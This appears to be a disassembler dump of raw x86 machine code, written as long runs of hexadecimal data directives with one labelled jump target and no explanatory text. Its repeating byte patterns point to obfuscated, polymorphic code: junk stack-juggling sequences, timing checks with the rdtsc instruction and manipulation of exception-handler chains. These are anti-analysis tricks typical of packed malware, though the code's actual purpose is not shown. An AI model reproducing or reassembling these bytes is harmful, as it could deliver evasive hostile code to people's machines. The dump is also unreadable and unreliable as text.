0EDBD89CDh dd 0D07FA01h, 88h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 36C35242h, 784922ACh, 62E7B133h, 55858969h dd 8B07FA17h, 0FA281D9Dh, 0D9958B07h, 6A07FA1Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 8457C350h, 978D792Ch, 9D8B0A8Fh, 7FA0821h, 2299BD8Bh dd 8D8B07FAh, 7FA31ADh, 820Fh, 8B500000h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0E4C35343h, 0B6B2DB84h, 3DB40CEEh, 6009CB81h dd 6A1BDDh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 83030CC3h, 0FA2A29BDh, 840F0007h, 6Dh, 0A58D8B60h dd 8B07FA01h, 0FA113DBDh, 0B86107h, 8B000000h, 0FA26FD9Dh dd 668D8D07h, 6A07FA4Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8BF7C355h, 8B6660F8h dd 0C9B866F3h, 0E1FF61FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 3C35343h, 8CFC99A1h, 68E78166h, 0D9BD8336h dd 7FA2Bh, 3CA840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0D57516C3h, 5E00CCD7h dd 8B8AAC5Eh, 0FA1759BDh, 0D9BD8307h, 107FA2Bh, 3AD840Fh dd 0BD830000h, 7FA2BD9h, 6A860F03h, 8B000003h, 0FA179D9Dh dd 66FC6007h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 950129C3h, 7FA15E5h, 0A04E180h dd 36840FC9h, 9000001h, 0FA3129B5h, 0E9858B07h, 307FA0Fh dd 0FA14D1BDh, 0E1853307h, 2B07FA15h, 0FA1EA59Dh, 8A509007h dd 6A90FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0F9DB61C3h, 0DE08B43h, 9D09C167h, 7FA08CDh dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0EB7B4EC3h, 8945CEF2h, 0FA02F195h, 5D9D8907h dd 0E807FA0Ah, 4, 1F03FFh, 128C0Fh, 0E8560000h, 0Ah, 0E63F7C33h dd 2F28BCC6h, 5B5F26C8h, 8BD88B50h, 66042444h, 8BD98Bh dd 807EBF66h, 4244489h, 48D0Fh, 0BB660000h, 6A5885D1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 661EC351h, 85899AC1h, 7FA06F1h, 840F56h dd 5F000000h, 20F38166h, 0E995FFD7h, 0F807FA1Ch, 89FEB70Fh dd 0FDEB9685h, 58D2907h, 6607FA2Bh, 0BC2BDB81h, 1BFE9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 813A0F7Eh, 9D29597Eh, 7FA0CDDh, 8E858BFCh dd 6A07FDEBh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0CD68C350h, 0DB960D29h, 1800C7h dd 0B58B0000h, 7FDEB92h, 0BE8h, 0EA8E3900h, 0FEAB0E26h dd 2DDD8611h, 2EE18D89h, 8B5F07FAh, 0FA0D5185h db 7, 6Ah ; --------------------------------------------------------------------------- loc_5D5512: ; CODE XREF: ___:00511300J add [ebx-18h], dl add eax, [eax] ; --------------------------------------------------------------------------- db 0 dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8947E333h, 89D98B06h, 0FA2EAD95h, 0E9858B07h, 0F07FA0Fh dd 68Fh, 880F00h, 89000000h, 8D310446h, 7FA2289h, 0B899D8Bh dd 8B9607FAh, 525050DAh, 8E857h, 0CC410000h, 3E63AA4Ah dd 5B5BB9D3h, 860F310Fh, 0Bh, 5E8h, 9365F200h, 5A5FF4F6h dd 0D3819658h, 0F761980h, 0EB8EB5FFh, 6A07FDh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F59934C3h, 0AC19D8Bh, 0C66807FAh, 0E980F522h, 0Bh dd 1884117h, 0E3D66D72h, 81AEEFF8h, 0E1392404h, 6A7F29h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0E106FBC3h, 2DBD8B2Fh, 8D07FA2Ch, 0FDEB9685h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 3E390603h, 66525050h, 310FF88Bh, 407991BBh, 89585A6Ah dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 67A3BAC3h, 0E995FF07h, 0BB07FA1Ch, 18382BFDh dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 861ED1BDh, 89A6A51Ch, 0FA1829B5h, 0D985C707h dd 307FA2Bh, 0E9000000h, 12h, 3CA8D13Fh, 1C5A47FBh, 119E8439h dd 0EEE8BB26h, 0BD837A4Eh, 7FDEB96h, 0E840F00h, 89000000h dd 0FA11C985h, 1EE907h, 0BF0F0000h, 0C3050FBh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 68C35747h, 67495B50h, 8D8B6053h dd 7FA1575h, 25118D09h, 5F6107FAh, 6AF98B66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 9FFDC356h, 34499D8Bh, 0BD8307FAh, 7FA2BD9h, 0B1850F03h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0C98C351h, 0B589C63Eh, 7FA0B3Dh dd 96BD83F8h, 7FDEBh, 47E840Fh, 0B5FF0000h, 7FDEB96h, 2C959D8Bh dd 95FF07FAh, 7FA2745h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 7AC35242h, 0FF9E2AF4h, 0E876641Eh, 0Bh dd 0A8B9F941h, 0AD554254h, 99E4A08h, 0FA1D09B5h, 0B58B5B07h dd 7FDEB8Ah, 5E960h, 93280000h, 6126A84Bh, 68B0Fh, 0BD890000h dd 7FA2C45h, 106C7h, 8D090001h, 7FA34F9h, 0EAEFCB81h, 0E896322Eh dd 0Ah, 6D30AFE9h, 874EE59Ch, 0BB662EDCh, 505F0AACh, 0F30C6EBFh dd 0BF66961Ah, 0B5FF465Ah, 7FDEB96h, 21A99D8Bh, 95FF07FAh dd 7FA18E1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 78C35747h, 0FBAB3BDh, 683h, 59858900h, 8B07FA2Ah dd 8AB58BFBh, 6A07FDEBh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 3854C356h, 8B81213Dh dd 0FA1C7D85h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 66943000h, 89F678BFh dd 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 9D659CEDh, 0FE9CC51h, 6A000000h dd 15D6F77Bh, 5F14ACF0h, 39C21AF2h, 958BDCB2h, 7FA1CD9h dd 2BDDBD89h, 0C28307FAh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0A52C5003h dd 4688D076h, 0CE9h, 0F2E70100h, 88522FF2h, 6D85E878h dd 205089DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 93C35747h, 599D8B92h, 8D07FA27h, 0FDFEF785h, 8B665307h dd 86895BDAh, 0B8h, 6ADE8Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 32C35141h, 0CC7AEBC3h, 0F2358D5h dd 0FD8B70Fh, 681h, 0D1B50100h, 0FF07FA16h, 0FDEB96B5h dd 0EDB52907h, 0FF07FA2Bh, 0FA1C9595h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 5E2C53E2h, 8934CFD2h, 0FA1DED95h, 8E99607h, 0FA000000h dd 1DD30243h, 5050BB6Eh, 3880Fh, 8B660000h, 605696DEh dd 26B5B58Bh, 880F07FAh, 0 dd 0B5FF5F61h, 7FDEB96h, 2689BD31h, 95FF07FAh, 7FA1D95h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B8C35040h dd 0EC4A469Dh, 131BD83h, 0F0007FAh, 0BB84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 5E2E5E90h, 3147B87Ch, 10E8h, 7367CF00h, 2FBD90Fh, 4F5E135Bh dd 0CCFA82B2h, 178E0F55h, 0E9000000h, 12h, 0BCCE8B11h dd 0CC847790h, 0D53D44BFh, 52E271CFh, 0E95F7C7Dh, 0Ah dd 4849D208h, 0A7348F61h, 8B966126h, 525050F8h, 0BDB86660h dd 6159568Ch, 0E960310Fh, 14h, 95DF8F92h, 0A0D26940h, 0B1D03522h dd 6DEA4F06h, 5EA584BEh, 5A61F38Bh, 6A9658h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0D8200AC3h dd 9D2B24B7h, 7FA34A1h, 0EB96B5FFh, 9D8B07FDh, 7FA0EF1h dd 1CB595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0DA073AC3h, 0BF36998Bh, 130FADC5h dd 0FD958960h, 8B07FA02h, 9D8B61F1h, 7FA255Dh, 0EB96B5FFh dd 850F07FDh, 5, 0F3F38166h, 0AD95FF21h, 6A07FA21h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0AEA2C355h, 75F8B9A9h, 0DD8D2907h, 3107FA31h, 0FA1711BDh dd 21BD8307h, 207FA22h, 63840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 3547ACC3h dd 0B7E2E1E3h, 8BDF8B3Ah, 0FA161585h, 0BE807h, 82260000h dd 0D008E3E6h, 954A396Ah, 0F381668Dh, 0C65BC1C8h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 461CB9C3h, 0DD85C7EBh, 7FA16h, 66000000h, 358BC781h dd 0FFF308E9h, 0AE9FFh, 0EF240000h, 0C92E63DAh, 2374422Dh dd 8B66C18Bh, 0C38166D8h, 858DF802h, 7FA0199h, 8E0Fh, 50500000h dd 58BB6652h, 60310FFCh, 998768BEh, 585A615Ah, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0D35FC356h, 1CD0EAC8h, 2059D31h, 6A07FAh dd 9D8939B7h, 7FA1C79h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0C8157EC3h, 0B9B9188Ch dd 6623CCE8h, 8BAD67BFh, 0FA2679BDh, 3B858D07h, 6A07FF2Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 384C356h, 0FA2845BDh, 5C08307h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2C35242h, 83067DCCh dd 3A2CEF86h, 8E9h, 67DE1D00h, 0B03ABC98h, 8A5090B0h, 12E890FAh dd 9000000h, 36879838h, 0E3DD14DAh, 0EC30C8C9h, 5398A4BFh dd 0B632BF02h, 605F5D4Bh, 5880Fh, 81660000h, 0F3D18F6h dd 28Eh, 61585700h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0F90882C3h, 6A4AE2h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 97C35141h dd 9874E1FDh, 8A761843h, 0E995FFDEh, 8907FA2Bh, 0FA248995h dd 118D8D07h, 6A07FDD7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0A911C353h, 4687E86Ah dd 2BDDBD89h, 0D1FF07FAh, 18E0Fh, 83F80000h, 0FA33EDBDh dd 850F0107h, 8Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 5CC35747h, 373EDF12h, 9C7E7AEDh, 11E96Ch dd 9EBC0000h, 0C6B7EA59h, 92B15B3h, 34F7B93Eh, 6AC8A42Fh dd 505F5102h, 0D93191BBh, 2404895Ch, 82D9D8Bh, 95FF07FAh dd 7FA1C95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0FEC35040h, 0ABBCB760h, 0B5094BC4h, 7FA01EDh, 0BE9h dd 1E73E800h, 134C6230h, 0A8871A79h, 0CF3E9h, 0E800h, 815D0000h dd 0FF2A45EDh, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 1909CC8Eh, 6A3E5Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 9D8B1BC3h, 7FA276Dh, 0E1C860BFh, 858DF850h, 7FDB959h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1DC35242h dd 0DE91846Ah, 5A46ADB3h, 0D6BB5055h, 893C6C9Ch, 6A2404h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0CA6649C3h, 0C2BBF0DAh, 8D89B550h, 7FA276Dh, 35FF64h dd 0E9000000h, 5, 0A63B0350h, 258964E3h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 33C35747h dd 0D838C9F3h, 0F5828F9Fh, 104985FFh, 6A07FAh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 28FC55C3h, 0DA03216Fh, 0E9E7919Fh, 0Ch, 5AC8A335h, 2600347h dd 0FA95C02h, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 9D8BACC3h, 7FA27DDh, 243DB5FFh dd 0BF6607FAh, 8166CD07h, 0FFC25FE3h, 0FA287595h, 101E907h dd 870F0000h, 4, 6A0CBF66h, 1B700B0h, 0BD8970E6h, 7FA2025h dd 0F187BB66h, 0BD8B71E4h, 7FA338Dh, 830F613Ch, 0D7h, 13E78166h dd 2DB589E5h, 0F07FA2Fh, 0BF0FC8B6h, 68D0FDEh, 9000000h dd 0FA17818Dh, 6BA07h, 8D0F0000h, 13h, 7E8h, 307C1600h dd 0AE0522D0h, 68D9D8Bh, 665B07FAh, 134DCB81h, 0D781C18Bh dd 4BDDEFC9h, 0FC04E8C1h, 8BE2F766h, 0FA14A1BDh, 8BC82B07h dd 0FA24259Dh, 9D18B07h, 0FA2C9D9Dh, 6DE907h, 0BF660000h dd 858B1747h, 47554C50h, 2870Fh, 7B30000h, 0FC07C083h dd 8000C083h, 0D03BC6DBh, 0D830Fh, 81660000h, 0E9AFA6EBh dd 3Fh, 8BDBBF0Fh, 0FFFFFF8Dh, 359D29FFh, 8307FA0Eh, 840F01E1h dd 27h, 83DBBF0Fh, 0FFFFFFA5h, 0C381FEFFh, 0B556C0Ch, 4C509589h dd 890F4755h, 6, 26DD9D8Bh, 0E907FAh, 8D000000h, 0FEA3AFB5h dd 998D2907h, 6A07FA20h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0AD9D893Bh, 8907FA1Dh dd 0FA353DB5h, 1995FF07h, 8B07FA10h, 0FA0EA99Dh, 1024B907h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0DF29AFC3h, 5E9C28Fh, 1B000000h, 9DB97450h dd 0FFCE183h, 0E9FCF8B7h, 0Ch, 0DFAE80D3h, 2878487Ah, 2E11D6DBh dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 199D3345h, 2B07FA11h, 53006AD2h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 4B50F8EEh, 0FC6C7037h, 0D7E38166h, 0C233AD96h, 0D003E8D1h dd 7504E983h, 0B58960F4h, 7FA2E19h, 0D0BF6650h, 8B615E26h dd 880DFBh, 0BD8B0000h, 7FA1065h, 1CD9958Bh, 0DBBF07FAh dd 8B51E5F7h, 0FA31AD8Dh, 8DB58907h, 8B07FA18h, 0FA0FE59Dh dd 0C28B5007h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0E958188Bh dd 12h, 898CE7ABh, 77C18D2Bh, 0F8AA31FFh, 0D19653CCh, 6A1FA1h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0C0353C3h, 6DC96EBBh, 29BD83DBh, 7FA2Ah, 58840Fh, 0BD8B0000h dd 7FA0EC9h, 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 22C8FB6Fh, 0EA2E528Dh dd 0DBBF0F46h, 4F668D8Dh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0E1FFD0C3h, 0BD8343B7h dd 7FA2BD9h, 6840F00h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 853CC357h dd 5880F09h, 66000000h, 3068DF81h, 2BD9BD83h, 0F0107FAh dd 3EB84h, 219D2900h, 8307FA20h, 0FA2BD9BDh, 860F0307h dd 3A2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0A9C35343h, 0CB986CEDh, 67BB6660h, 0D98C6681h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B0C35747h dd 0FDBD0195h, 8007FA24h, 6A04E1h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 6937DAC3h, 0DE9EFh, 86860000h dd 9B54FFB4h, 6621085Ah, 803B7952h, 0C90A4EC7h, 162840Fh dd 85010000h, 7FA0F8Dh, 14E8h, 49695900h, 0C9493535h, 1AC8E326h dd 31C79AA0h, 4B8C6902h, 0D950993h, 5B07FA31h, 0FE9858Bh dd 0F5107FAh, 335FF8B7h, 0FA15E185h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 51B589E9h dd 0E807FA05h, 8, 0CFF3992Eh, 8C3492Fh, 11E8h, 0BDA8700h dd 0D709D2C8h, 686A2910h, 5777A9B4h, 5F56D7B0h, 9D8B5B5Bh dd 7FA2E6Dh, 24048950h, 6E8h, 0FA6AD300h, 89CD4CE4h, 0FA01199Dh dd 6A5F07h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0C7C35545h, 680F141Ch, 422D3F6Dh, 11E9h, 9ED71700h dd 0ADC9AE82h, 0C29B5CB4h, 47D48170h, 348172ADh, 323C9224h dd 14E96042h, 6C000000h, 0B63D1752h, 0AA8B9DC7h, 252CD0DAh dd 0CAF06344h, 89898A24h, 0FA0D2185h, 95FF6107h, 7FA1CE9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 13C35646h dd 4A33DB73h, 66535BD7h, 5F4DABBBh, 894DDB80h, 0FDEB9685h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 2A04CF22h, 167E90Eh, 0BD890000h, 7FA0CA5h dd 0EB8E858Bh, 8E907FDh, 0A2000000h, 7C883645h, 0C7523922h dd 1800h, 0B58BF800h, 7FDEB92h, 1C11BD8Bh, 0B58907FAh dd 7FA2571h, 0D51858Bh, 858907FAh, 7FA1C0Dh, 0BD890689h dd 7FA2909h, 8BD88B66h, 0FA0FE985h, 359D8B07h, 8907FA2Fh dd 50F50446h, 867BFBBh, 2434896Ch, 142D9D8Bh, 0B5FF07FAh dd 7FDEB8Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 3FC35242h, 705A73E4h, 195DC509h, 0BE9h, 0C0A1B800h dd 0C03D11D7h, 0EA6E8A53h, 207DBD8Bh, 416807FAh, 0E95C5717h dd 9, 0ECBD939Ah, 0CB15D35Ah, 2434818Bh, 5C4814BEh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B5C35646h, 5231F78Ch dd 490872EAh, 6890Fh, 85010000h, 7FA0D2Dh, 18898D31h, 858D07FAh dd 7FDEB96h, 18BF6650h, 8A905B66h, 666050FCh, 8B51CF8Bh dd 906158F8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 49C35242h, 0DEBF0F75h, 1CE995FFh, 6A07FAh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 96802BC3h, 0F1D0F570h, 0F52706Fh, 383h, 0F9B70F00h dd 6A615Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 98D404C3h, 0E695FDA3h, 0F78166BCh, 85C71C30h dd 7FA2BD9h, 3, 2F399531h, 0BD8307FAh, 7FDEB96h, 0F840F00h dd 0F9000000h, 24E9h, 65CF8000h, 1851BD8Bh, 305007FAh dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 0F9BD89C0h, 6A07FA16h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0CBA3C353h, 788FF5E9h dd 7BD78189h, 834D462Fh, 0FA2BD9BDh, 850F0307h, 421h, 0E853006Ah dd 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 12C35343h, 547B110Dh, 0BD8378B7h dd 7FDEB96h, 0F2840F00h, 6A000003h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E394C357h dd 0FF931DB6h, 0FDEB96B5h, 6E907h, 0CF4F0000h, 63EC144Bh dd 28F0F60h, 60000000h, 0EDC88061h, 4595FF61h, 6A07FA27h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 6633C357h, 8E79E781h, 8BFBBF0Fh, 0FDEB8AB5h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 3326198Dh, 11E9FFA7h, 0BC000000h, 141E2FCEh dd 5EE902B1h, 1555FA45h, 93B167FDh, 18D0Fh, 0C7F90000h dd 1000106h, 11E900h, 0E04F0000h, 0D9E698A1h, 9067661Ch dd 0D6D68688h, 5096FFE6h, 6E85250h, 58000000h, 737E5B7Fh dd 0F525054h, 5F585A31h, 79B3310Fh, 3489585Ah, 21BD8B24h dd 0FF07FA01h, 0FDEB96B5h, 0A3BB6607h, 0E195FF5Bh, 8B07FA18h dd 0FDEB8AB5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 44947905h, 0E31FB370h dd 8E0F0613h, 6, 74D8D89h, 858B07FAh, 7FA1C7Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0D8C35242h, 2FCEBCACh dd 0B58B601Eh, 7FA0D35h, 16559D8Bh, 896107FAh, 0C486h dd 0F3816600h, 958BA887h, 7FA1CD9h, 12E9h, 2CE3EA00h, 460BE84Eh dd 9FAB5598h, 739390B8h, 8362425Bh, 0BF0F04C2h, 205089FBh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CDC35040h dd 0FC24894h, 0FF21935Eh, 10E8BBh, 32DC0000h, 0B3D0C713h dd 0DB1E4C7Fh, 9582EFBCh, 8D894E95h, 7FA1851h, 0F7858D5Bh dd 3107FDFEh, 0FA1145BDh, 0B8868907h, 23000000h, 0FA28F1BDh dd 66006A07h, 0B589D98Bh, 7FA2EC5h, 0EB96B5FFh, 14E907FDh dd 87000000h, 59330057h, 0E1B1C535h, 530B03E0h, 0C7652E27h dd 0FFC29642h, 0FA1C9595h, 8D8B6007h, 7FA10D9h, 1499531h dd 966107FAh, 10E9h, 0C154BD00h, 383B2DF8h, 58922E4Ah dd 0D6C919E6h, 52505027h, 0AE9h, 1620A800h, 1177682h, 0FF2F2E7h dd 0FE831h, 0B09D0000h, 0D2DECE9Dh, 87CD064Fh, 19471055h dd 5FFE8A78h, 8996585Ah, 0FA345D95h, 96B5FF07h, 0E907FDEBh dd 10h, 0F8E15977h, 0F324B9CDh, 2BDAA768h, 0B82A8604h dd 1D9595FFh, 0BD8307FAh, 7FA0131h, 2C840F00h, 0E9000000h dd 0Dh, 0A0C0F4h, 5D818BE2h, 2367FFFDh, 0E1BB968Ch, 506127A1h dd 68A0Fh, 60600000h, 61F18B61h, 0F0E78196h, 0FF765A99h dd 0FDEB96B5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 1B19787Fh, 0FB8B6656h dd 0FFF88B5Fh, 0FA1CB595h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0DB8A0E97h dd 8BCCF348h, 0FA11499Dh, 14E907h, 0B1430000h, 96F2A397h dd 59DFA3B2h, 91E91F39h, 0A38A6689h, 0B5FF2177h, 7FDEB96h dd 0B360D88Ah, 698D8944h, 6107FA27h, 21AD95FFh, 6A07FAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 3C1DE9C3h, 1324D99Eh, 13E971h, 0B0CF0000h, 189AA37Fh dd 0D540D147h, 9CAE3FF4h, 1259767Ch, 21BD833Ah, 207FA22h dd 3F840Fh, 858B0000h, 7FA1615h, 2D51BD8Bh, 0C607FAh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0EE9D306h, 0B3000000h, 0CF52D4F6h, 2B9936B4h, 0B626E23Dh dd 0DD85C77Ah, 7FA16h, 0B7000000h, 0F446E954h, 0B589FFFFh dd 7FA31DDh, 9D8BC18Bh, 7FA21CDh, 199858Dh, 0B58907FAh dd 7FA1469h, 88F0F90h, 50000000h, 0FFA8A52h, 50585A31h dd 0F605250h, 85h, 310F6100h, 5AD98B66h, 6A9058h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 5CC9EFC3h, 94A8F99Eh, 0E898FC25h, 9, 0E14682C6h, 1C0E51EFh dd 0DEC781ADh, 5F15DB2Dh, 3225BD89h, 0FA8B07FAh, 6A006Ah dd 68C0Fh, 8D290000h, 7FA2625h, 38CB858Dh, 0E78007FFh dd 5C083DBh, 9289CF81h, 60900668h, 61FB8B66h, 90FA8B50h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 44C35747h dd 0D8BDA7D1h, 1D9D8B2Ah, 6A07FA2Ah, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 502827FDh dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 2B62C9C3h, 0BA6660ACh, 816675F3h, 61CE5BDBh dd 2BE995FFh, 0BF6607FAh, 8D8D50E2h, 7FDD711h, 0FFFA8B66h dd 0E78166D1h, 0BD83BEEDh, 7FA33EDh, 61850F01h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0B5A3C355h, 65958919h, 6A07FA1Ch, 0EF816602h dd 5090F531h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 905406F4h, 0F8F1437Fh, 2D85897Dh dd 0FF07FA2Dh, 0FA1C9595h, 0F9B70F07h, 0DEDE9h, 0E800h dd 815D0000h, 0FF38D5EDh, 0BD23F907h, 7FA1021h, 0B959858Dh dd 0F38107FDh, 3E831195h, 0B819589h, 509007FAh, 0C0CCD0BBh dd 50505F3Fh, 1F35BF52h, 310F76F2h, 2830Fh, 0F88B0000h dd 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0FB3CC357h, 391C5A47h, 95BD8B84h dd 8107FA01h, 39FB81CFh, 35FF645Eh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 2EC35141h dd 0F37BBA3h, 48Ch, 8ABF6600h, 258964C2h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0E8C35040h dd 606D8E72h, 5E8h, 4AD57600h, 816628D9h, 599A76EEh, 14BD9D89h dd 0F86107FAh, 104985FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 7E8E85C3h, 0C1B53148h dd 6A07FA2Dh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0D96AF0C3h, 791F8988h, 895282CEh dd 0FA0BC9B5h, 8B0F5F07h, 2, 0B5FFD88Ah, 7FA1E99h, 